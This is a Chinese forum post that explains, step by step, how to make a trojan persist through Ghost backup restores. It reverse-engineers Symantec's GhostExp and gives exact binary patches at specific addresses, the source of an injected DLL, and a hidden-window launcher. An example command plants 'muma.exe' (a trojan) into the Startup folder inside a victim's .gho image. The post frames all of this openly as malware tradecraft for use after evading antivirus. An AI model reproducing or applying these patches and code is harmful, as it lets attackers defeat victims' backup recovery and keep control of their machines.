穿透ghost种植木马

  • 发表于
  • 周边

标 题: 【原创】穿透ghost种植木马
作 者: yirucandy
时 间: 2014-07-25,17:21:33
链 接: http://bbs.pediy.com/showthread.php?t=190489

好不容易过掉各种杀毒软件、防火墙种上的木马,不能当用户使用ghost镜像还原系统后就失效了。本文描述如何把木马写入ghost镜像中,当用户还原后木马仍然启用。

1、前言:

GHO文件系统架构:

GHO文件格式非常复杂。设计者在最初考虑到多种情况,例如是否分卷(分为多个文件),是否支持网络安装(多台机器使用网络同时安装),是否录制在磁带上(要求GHO文件具有流格式),可以支持多少种文件系统等等。这使得GHO文件格式具有分层特性。

最下层的格式为GHO基础流。GHO基础流承载磁盘数据。基础流可以为压缩流或者非压缩流,根据不同的要求,压缩流又分为快速(FAST)压缩流和高比例(HIGH)压缩流。GHO基础流用自定义的结构,将磁盘上的冗余空间排除掉。实验发现,基础流承载的数据,都是磁盘中实际使用的数据,即在文件系统中登记的数据(文件或者目录结构等),而其它空白数据,比如已经删除的文件数据等等,并未在基础流中记录。由于涉及到文件系统,基础流并没有完全脱离上层流的映像。这是GHO文件格式难以破解的第一个原因。

基础流上面是GHO文件系统流。通过IDA反汇编分析可以发现,GHO基础流上面的文件系统流是真正的文件系统操作。比如FAT32流使用的逻辑就是在文件系统中处理FAT32格式的逻辑,NTFS使用的逻辑也是真实的NTFS逻辑。这也意味着,对于Linux使用的EXT3等文件系统,GHO并没有文件系统层次上的支持(高版本可能已经开始支持了)。由于文件系统众多,GHO也不能完全支持一切文件系统,高层文件系统和GHO基础流之间还有相互依赖的关系,这是GHO文件格式难以破解的第二个原因。

GHO文件提供非重整格式。原则上讲,应当是对磁盘的完全无损拷贝,但是试验中测试发现,即便使用非重整格式,生成的GHO文件也被修改过。其修改原则仍然依赖于GHO基础流。比如制作一个NTFS分区的非重整拷贝,根据NTFS文件系统格式寻找二进制位置,仍然不能准确定位,也就是说,非重整模式并不是对磁盘的真正的无损拷贝。这是GHO文件格式难以破解的第三个原因。

经过一段时间研究,发现直接破解GHO文件格式,必须首先破解GHO基础流格式,然后破解基础流和高层文件系统比如FAT32和NTFS之间的关系,最后还要保证附加信息准确的翻译,这个工作有太多的不确定性。所以最后决定使用Symantec出品的GhostExp作为读写工具,进行GHO文件的读写,如下图:

穿透ghost

也就是说,借用现有的GhostExp读写功能,而不是通过分析文件系统格式来进行读写。这样做的好处在于,可以比较容易的实现GHO的压缩和非压缩,磁盘和分区模式,FAT32/NTFS等文件系统中的文件的读写,即只要Symantec支持的格式,我们都能操作。

2、插入代码并控制GhostExp的原理:

Symantec 出产Ghost,必须向用户提供GHO文件的脱机修改功能;但是Symantec拒绝公开任何GHO文件格式的信息,所以Symantec必须自己提供一个修改该工具。这个工具必须能够修改该GHO文件中的内容,准确识别各个GHO文件版本,准确处理压缩非压缩和不同文件系统,准确处理分卷文件等等。这个GhostExp正是我们需要的功能。然而因为某种原因,用户只能手工操作GhostExp,进行文件的增删改操作。GhostExp不提供外部调用或者命令行模式,所以,修改GhostExp以提供命令行模式,进而允许其它进程调用,就成了这个项目的主要工作了。

GhostExp是一个MFC程序,由VS2005开发,我获得的版本为Debug版,有少量Debug符号可以使用,而且IDA 对于MFC 架构的识别也比较好,这对分析较有帮助。

修改一个现有的可执行文件,并使得它提供特殊功能,有很多限制。最简单点的方法,是在这个可执行文件的引入表中增加一个DLL,在适当的位置调用这个DLL中的特定函数,在DLL函数中再实现需要控制可执行文件的相关代码。也就是说,DLL将会分析命令行输入,按照命令行输入的要求,模拟人的操作,产生需要的效果。

添加的DLL为GWDLL.DLL。DLL讲先于Application的执行。在DLL启动时,调用Initialize函数,使用
LPSTR cmd = ::GetCommandLineA();
获取当前命令行内容,对命令行内容进行分析,获得参数列表。稍后会创建一个线程,进行手工操作的模拟。

为什么选择模拟操作,能否直接调用GhostExp中的特定代码,实现直接读写?

根据分析,GhostExp为提高性能,在文件系统格式分析和GHO文件读写上使用了多线程。比如启动GhostExp并打开GHO文件的时候,左边显示文件目录树的过程,就是由文件系统加载线程实现的。

对于当前打开的GHO文件,文件系统加载线程(GhostImageLoadingThread,参看IDB文件)负责分析当前GHO文件,并建立内部的目录树表示。这个目录树表示再被主线程转化为TreeNode表示,最后显示出来。

如果可以准确的使用内部目录树表示,那么也可以绕过GUI操作。可是内部目录树表示存在于不确定位置,而且结构随着文件系统不同而不同,所以只能使用GUI层操作TreeNode的方法定位特定目录和文件。

为了找到TreeView和ListView,在CWinApp::OnInitialize的某个早期位置,生成主窗口之后,修改代码指向GWDLL中的Connect方法,传递CFrameWnd指针,从此指针+0x20处获得主窗口句柄。

代码:

void WINAPIConnect(PVOID frame)
{
__asm push esi;
if (frame!=0)
{
if (ConnectMainWindow(*((HWND*)(((PCHAR)frame)+0x20))))
{
//OK
}
}
__asm pop esi;
__asm mov eax, [esi];
}

通过FindWindowEx找到TreeView和ListView的句柄,并子类化主窗口。
代码:

BOOL ConnectMainWindow(HWND hwnd)
{
if (hwnd!=0)
{
MainWindow = hwnd;
if ((PrevWindowProc = (WNDPROC)::SetWindowLongPtr(
MainWindow,
GWLP_WNDPROC, 
(LONG)MainWindowProc))!=0)
{
return ConnectControls(MainWindow);
}
}
return FALSE;
}

为什么要子类化主窗口?

添加删除等操作的结束,需要有一个通知。模拟线程必须得到这个通知,才能知道何时退出命令状态,也就是说,知道GhostExp完成了需要的操作以后,可以安全关闭GhostExp。内联线程并使用WaitForSingleObject是首选的方法,但是实验表明,这个方法导致不明原因的死锁。GhostExp线程在完成操作之后,对主窗口发送一个值为0x48C的消息,这个消息标志着操作结束(进而在状态条上显示“完成”),我们通过子类化主窗口就可以截获这个消息,进而得知操作完成,然后才能安全的结束进程。
子类化Proc定义如下:
代码:

LRESULT CALLBACK MainWindowProc( 
HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam
){
if (hwnd == MainWindow)
{
if (uMsg == COMPLETE_MESSAGE)
{
LastSignature = -1;//标识当前操作已经完成。
}
}
return PrevWindowProc!=0 ?
::CallWindowProc(PrevWindowProc,hwnd,uMsg,wParam,lParam) :
0;
}

此后,GhostExp启动文件系统加载线程。

我们在启动文件系统加载线程的函数的尾部手工插入代码,使得调用转移到GWDLL中的HOOK函数。
代码:

void WINAPI Hook(HANDLE handle)
{
if (!Started && handle!=0 && Commanding)
{
Started = TRUE;
if (MainWindow!=0)
{
 //NOTICE: The main thread is started to continue working on commands.
::CreateThread(NULL, 4096, MainThread, (LPVOID)handle, 0, &ThreadID);
}
}
}

这个函数启动MainThread线程,这个线程就是模拟手工操作的线程。MainThread等待加载线程结束之后,进行手工操作模拟。
代码:

DWORD WINAPI MainThread(LPVOID param)
{
HANDLE handle = (HANDLE) param;
if (handle!=0 && Commanding)
{
::WaitForSingleObject(handle, -1); //等待加载线程结束
UINT ec = -1;
if (ProcessGhostCommand(Arguments, Argscount, ec))
{
//OK
}
if (MainWindow!=0)
{
for(int i = 0;i<16;i++)
{
::PostMessage(MainWindow, WM_QUIT, ec, 0);
}
}
else
{
::ExitProcess(ec);
}
}
return 0;
}

MainThread完成ProcessGhostCommand之后,直接PostMessage(WM_QUIT)退出。不用PostQuitMessage的原因在于,PostQuitMessage将会把WM_QUIT推送到MainThread线程的MessagePool之中,而这不是我们需要的。我们要把这个WM_QUIT推送到主窗口对应的主线程之中,保证主线程退出,即保证应用程序退出。

模拟手工操作是怎样实现的?
由于GhostExp内部工作原理比较复杂,直接调用内部函数的实验经常得到死锁的结果。使用GUI操作模拟显然更为安全可靠。具体的说,就是用MainThread模拟用户点击左边的TreeView中的节点,展开并定位到特定目录,然后模拟用户选择右边的ListView中的项目,实现添加、删除、提取等操作。

无论添加删除还是任意操作,首先要定位到目标位置,也就是说,保证左边的TreeView展开到特定目录,然后保证右边显示了需要显示的项目,在必要的时候(比如获取或者删除)要选定右边的项目。这个过程称为目标定位(LocateTarget)。具体工作方式和原理,请参阅LocateTarget,FindTreeNode等函数(在GWDLL项目,GWDLL.CPP文件中)

找到特定文件或者目录之后,MainThread会根据最开始记录的命令行参数,选择特定的操作。添加和替换操作实际上模拟了GhostExp的粘贴操作。通过Spy++可以获取GhostExp右键菜单中的粘贴、复制删除等MenuID(由vs打开即可看到)。通过发送WM_COMMAND消息就可以发送这些命令到主窗口,进而得到执行。

需要注意的是,由于模拟复制和粘贴操作会使用剪切板,在一个极短的时间里面,剪切板中可能包含文件路径。

此外,为了保证命令直接执行而不弹出任何提示(因为这里不可能有用户交互),删除、替换和添加等操作的提示对话框都必须被屏蔽,这是通过手工二进制修改该完成的。

如何判断命令结束并退出:
使用SendMessage发送WM_COMMAND命令并携带MenuID,仅仅是触发命令开始执行。因为GhostExp使用线程处理添加删除等操作,所以必须等待线程完成,才能确认命令完成。先前子类化主窗口,就是为了这个目的。

代码:

WPARAM WaitCompletion(DWORD dwTime)
{
WPARAM Signature = UNKNOWN_SIGNATURE;
while(true)
{
Signature = LastSignature;
if (Signature!= UNKNOWN_SIGNATURE)
{
LastSignature = UNKNOWN_SIGNATURE;
break;
}
::Sleep(dwTime);
}
return Signature;
}

当命令发送之后,MainThread将进入循环等待状态,直到发现退出信号才能退出。这个退出信号是由子类化过程发送的,这就保证了操作的结束通知一定被收到。

对GhostExp的二进制改动的细节:

(1)引入表修改
增加 GWDLL.DLL,引入函数 Connect, Hook, Block。 其中Block函数暂时未使用。但是为了保证其它二进制修改正常工作,请保证引入。
建议使用LordPE或者PEeditor添加引入表项目。

(2)指令修改
代码:

(1) RVA 0x00415DC8 (Offset 0x0015dc8):禁止启动时Splash窗口显示

原指令:
.text:00415DC874 78jzshort loc_415E42 

修改为:
.text:00415DC8EB 78jmp short loc_415E42

(2) RVA 0x004948f1 (Offset 0x000948f1):禁用注册表GHO文件类型注册。防止修改过的GhostExp自动打开GHO文件

原指令:
.text:004948F1 cmp dword ptr [ecx+58h], 0
.text:004948F5 jnz short $LN8_19
.text:004948F5
.text:004948F7 callASSERT; MFC 3.1/4.0/4.2/8.0 32bit
.text:004948F7

83 79 58 00 75 05 E8 64 35 FF FF

修改为:

.text:004948F1 C2 04 00retn 4
.text:004948F4 90 90 90 90 90 90 90 90nop(8) ; 使用nop完全抹除8字节。


C2 04 00 90 90 90 90 90 90 90 90


(3) RVA 0x00496980 (Offset 0x00096980):获取窗口句柄,调用Connect函数传递到GWDLL。

原指令: 
00496980 8B 48 04 mov ecx,dword ptr [eax+4] 
00496983 E8 73 DC FF FFcall004945FB ;CCmdTarget::BeginWaitCursor(void) 
00496988 8B 06mov eax,dword ptr [esi] 

修改为:

00496980 FF 75 F0push [ebp-0x10] 
00496983 FF 15 1F 31 59 00 call dword ptr [0059311F] ;Connect
00496989 90nop

原指令:
.text:004969E5 8D 4D 0B lea ecx, [ebp+0Bh] ; 
.text:004969E8 E8 53 D4 F8 FFcallRestoreNormalCursor

修改为:

.text:004969E5 90 90 90 90 90 90 90 90 nop(8); 使用nop完全抹除8字节。


原指令:

.text:00496A02 8D 4D 0B lea ecx, [ebp+0Bh] ; 
.text:00496A05 E8 36 D4 F8 FFcallRestoreNormalCursor

修改为:
.text: 00496A02 9090 90 90 90 90 90 90 nop(8); 使用nop完全抹除8字节。


(4) RVA 0x00444BB2(Offset 0x00044bb2): 在加载映像线程尾部加入Block函数调用

原指令:
.text:00444BB2 C2 0C 00 retn0Ch
.text:00444BB2
.text:00444BB2 BeginGhostImageLoadingThread endp

修改为:
.text:00444BB2 50 PUSH EAX
.text:00444BB3 FF 70 2CPUSH DWORD PTR DS:[EAX+2C]
.text:00444BB6 FF 15 23 31 59 00 CALL DWORD PTR DS:[00593123] ;Call Hook
.text:00444BBC 58POP EAX
.text:00444BBD C2 0C 00RETN 0C

50 FF 70 2C FF 15 23 31 59 00 58 C2 0C 00


(5) RVA 0x00430550 (Offset 0x0030550): 禁用排序函数调用,防止堆栈溢出(由GWDLL中创建的线程引起的错误递归,导致的堆栈溢出).

原指令(函数):

.text:00430550 Call_SortChild_CallBack proc near
.text:00430550
.text:00430550 lParam= dword ptr4
.text:00430550
.text:00430550 8B 44 24 04mov eax, [esp+lParam]
.text:00430554 8B 49 20 mov ecx, [ecx+20h] ;
.text:00430557 50 pusheax ; lParam
.text:00430558 6A 00push0; wParam
.text:0043055A 68 15 11 00 00 push1115h ; TVM_SORTCHILDRENCB
.text:0043055F 51 pushecx ; hWnd
.text:00430560 FF 15 C4 D6 50 00callds:SendMessageA
.text:00430566 C2 04 00 retn4
.text:00430566
.text:00430566 Call_SortChild_CallBack endp

修改为(对函数做直接返回处理):

.text:00430550 C2 04 00retn 4;
.text:00430553 90nop;
C2 04 00 90



(6) RVA 0x0042DB57 (Offset 0x0002DB57): 禁止“删除”对话框的显示

原指令:

.text:0042DB57 8B 00mov eax, [eax]
.text:0042DB59 8B 7C 24 14mov edi, [esp+1A4h+var_190]
.text:0042DB5D 6A 24push24h ; uType
.text:0042DB5F 50 pusheax ; int
.text:0042DB60 57 pushedi ; lpText
.text:0042DB61 8B CEmov ecx, esi
.text:0042DB63 C6 84 24 8C 01 00+ mov byte ptr [esp+18Ch], 6 ; 
.text:0042DB6B E8 01 E3 05 00 callShowPromptDialog
.text:0042DB6B
.text:0042DB70 83 F8 06cmp eax, 6 ; eax==6: yes

替换为:

0042DB5D 90 90 90 90 nop nop nop nop

0042DB6B B8 06 00 00 00 mov eax, 6

90 90 90 90 B8 06 00 00 00 

原指令:

.text:0042D987 8B 00 mov eax, [eax]
.text:0042D989 8B 7C 24 14 mov edi, [esp+188h+var_174]
.text:0042D98D 6A 24 push24h ; '$' ; uType
.text:0042D98F 50pusheax ; int
.text:0042D990 57pushedi ; lpText
.text:0042D991 8B CE mov ecx, esi
.text:0042D993 C6 84 24 8C 01 00 mov byte ptr [esp+194h+v_8], 2
.text:0042D99B E8 D1 E4 05 00callShowPromptDialog
.text:0042D99B
.text:0042D9A0 83 F8 06 cmp eax, 6

替换为:

text:0042D98D 90 90 90 90nop nop nop nop
text:0042D99B B8 06 00 00 00 mov eax, 6

90 90 90 90 B8 06 00 00 00

(8) RVA 0x0041BEC0 (Offset 0x0001BEC0):禁止“替换”对话框的显示

原指令:
.text:0041BEC0 E8 77 64 07 00callCDialog::DoModal(void)

修改为:(全部替换)
.text:0041BEC0 B8 03 00 00 00mov eax, 03 ; 

B8 03 00 00 00

3、如何使用修改后的GhostExp:

修改后的GhostExp,引用了GWDLL.DLL,所以必须和GWDLL.DLL同时出现,或者GWDLL.DLL存在于可以找到的位置。修改后的GhostExp,正常情况下和普通GhostExp的使用没有区别,只是它不会将自己注册为GHO的打开方式,也不会显示Splash画面;删除特定文件不会有提示,发现重复文件则直接替换。

使用修改该后的GhostExp的标准场景为:在木马或者其它应用程序中使用CreateProcess启动修改后的GhostExp,设定标志使得GhostExp不显示界面。
代码:

DWORD RunProcess(char* commandline)
{
DWORD ec = -1;
if (commandline!=0)
{
STARTUPINFO si={0};
si.cb = sizeof(si);
PROCESS_INFORMATION pi={0};
//IMPORTANT: 
si.dwFlags = STARTF_USESHOWWINDOW; //使用显示标志:
si.wShowWindow = SW_HIDE; //标识为不显示界面
BOOL done = ::CreateProcess(
0,
commandline,
0,
0,
FALSE,
0,
0,
0,
&si,
&pi
);

if (done && pi.hProcess!=0)
{
//Wait until GhostExp exits
::WaitForSingleObject(pi.hProcess, -1);

::GetExitCodeProcess(pi.hProcess, &ec);
}
}
return ec;
}

创建进程后,等待进程终止,并获得返回代码。

如果返回代码为非负数,则执行成功;否则执行失败。
调用CreateProcess的时候传入的commandline参数,应具有如下格式:
“GhostExp全路径” “GHO文件全路径” “操作符” “目标路径” “源路径”
每个参数必须由引号括起来,以防路径中的空格打乱参数位置。

例如要种植的木马实现Ghost穿透,先拷贝Ghostexp.exe和GWDLL.DLL到被控端C盘下,然后调用RunProcess函数,并传入如下参数:C:\Ghostexp.exe“C:\ghost.gho ” “+” “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\muma.exe” “C:\muma.exe”。这样当用户还原ghost时,muma.exe就回存在于自启动目录了。

测试程序:
GW.EXE 为修改后的GhostExp的使用示例,GhostExp.EXE以及GW.DLL 应在同一目录中。

GW.exe 使用以下格式调用:
Gw.exe “gho 文件完整路径” “操作” “目标路径” “源路径”
注意!必须在所有的参数上都使用英文半角引号。因为大多涉及到路径,而路径中可能存在空格。

如果操作成功,返回非负整数,否则返回-1或者其它负数。

其中操作分为:

  • + 添加文件,如果文件已经存在则添加失败
  • -删除文件,如果文件不存在则失败
  • *替换文件,如果文件不存在则添加,否则替换
  • ?测试存在,如果文件存在则返回成功
  • #获取内容,如果文件存在则获取其中的内容,否则返回失败

以上操作都针对文件,添加、替换和获取不针对目录,即不支持目录级别的添加、替换、获取操作。

目标路径:在Gho文件中的路径称为目标路径。由于Gho文件不记录盘符,在GhostExp中也无法看到C:、D:等盘,目标路径给出的盘符是一个人为定义。其中C:指Gho文件中的第一个分区。如果有多个分区,则D:指第二个分区,依次类推。所有操作都涉及目标路径。

源路径:在真实文件系统上的文件路径为源路径。源路径用于添加,替换和获取。在获取操作中,源路径实际上是文件被获取到的位置,相当于常规意义上的目标路径。

下图为在命令行中调用gw.exe。

穿透备份种木马

下图为命令执行成功后,muma.exe被植入的截图:

穿透木马后门

源码及文档:http://pan.baidu.com/s/1eQtK77s